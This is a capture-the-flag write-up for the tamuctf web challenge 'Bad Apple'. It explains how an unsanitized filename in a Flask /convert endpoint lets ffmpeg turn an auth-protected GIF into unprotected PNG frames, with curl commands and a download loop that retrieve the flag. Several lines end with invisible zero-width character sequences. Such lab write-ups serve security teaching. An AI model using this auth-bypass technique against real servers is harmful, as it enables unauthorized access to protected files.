← Back to Writeups
CUSTOMMediumWeb

Bad Apple

XESXOR9/10/20262 min read
#web#custom#medium#auth_bypass_via_format_convers#directory_listing_exploitation#input_sanitization_bypass#visual_flag_extraction#linux

Bad Apple

Platform: tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: auth_bypass_via_format_conversion, directory_listing_exploitation, input_sanitization_bypass, visual_flag_extraction

Summary

A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.

Bad Apple — tamuctf

Description

funny touhou reference

A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.

Analysis

Architecture

  • Flask app (wsgi_app.py): Handles file upload, conversion to frames via ffmpeg, and frame listing
  • Apache: Serves static files with directory indexing enabled on /browse
  • Auth: .gif files require HTTP Basic Auth, but .png files do not ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Files from Dockerfile

dockerfile
CMD ["sh", "-c", "HEX=$(openssl rand -hex 16) && mv /srv/http/uploads/admin/flag.gif /srv/http/uploads/admin/$HEX-flag.gif && echo $HEX > /srv/http/.flag_secret && httpd -DFOREGROUND"]
  • Flag GIF is renamed with random 16-byte hex prefix on startup
  • Original location: /srv/http/uploads/admin/flag.gif → /srv/http/uploads/admin/$HEX-flag.gif

Apache Configuration (httpd-append.conf)

apache
Alias /browse /srv/http/uploads
<Directory /srv/http/uploads>
    Options +Indexes
    ...
    <FilesMatch "\.gif$">
        AuthType Basic
        AuthName "Admin Area"
        AuthUserFile /srv/http/.htpasswd
        Require valid-user
    </FilesMatch>
</Directory>
  • Directory listing enabled (Options +Indexes) — can enumerate files
  • Only .gif files require auth — .png frames are unprotected ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability in /convert Endpoint

python
@app.route('/convert')
def convert():
    user_id = request.args.get('user_id', 'anonymous')
    filename = request.args.get('filename', '')

    input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
    # ...
    output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)

Critical flaw: user_id is sanitized with secure_filename(), but filename is used RAW. This allows:

  1. Setting user_id=admin (passes through secure_filename() unchanged)
  2. Referencing any file in the admin directory directly
  3. Output frames go to /srv/http/static/frames/admin/ — served as PNG with NO auth ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Discover Flag Filename via Directory Listing

bash
curl https://bad-apple.tamuctf.com/browse/admin/

Response shows: c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif

Direct download is blocked by HTTP Basic Auth.

Step 2: Convert Protected GIF to Unprotected PNG Frames

bash
curl "https://bad-apple.tamuctf.com/convert?user_id=admin&filename=c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif"

This triggers ffmpeg to:

  1. Read the auth-protected GIF (server-side, no auth needed)
  2. Extract frames to /srv/http/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/
  3. Frames are served as PNG files — no auth required! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Retrieve Extracted Frames

bash
curl "https://bad-apple.tamuctf.com/get_frames?user_id=admin&gif_name=c1ece5e67d2d5366ab40d069fb2fd0ea-flag"

Returns list of 155 PNG frames. Download and view them:

bash
for i in $(seq -w 1 155); do
    curl -O "https://bad-apple.tamuctf.com/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/frame_00${i}.png"
done

Step 4: Read Flag from Frames

The GIF contains scrolling text. Reading across the frames reveals the flag.

Leet speak decode: "easy tohou flag rite" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍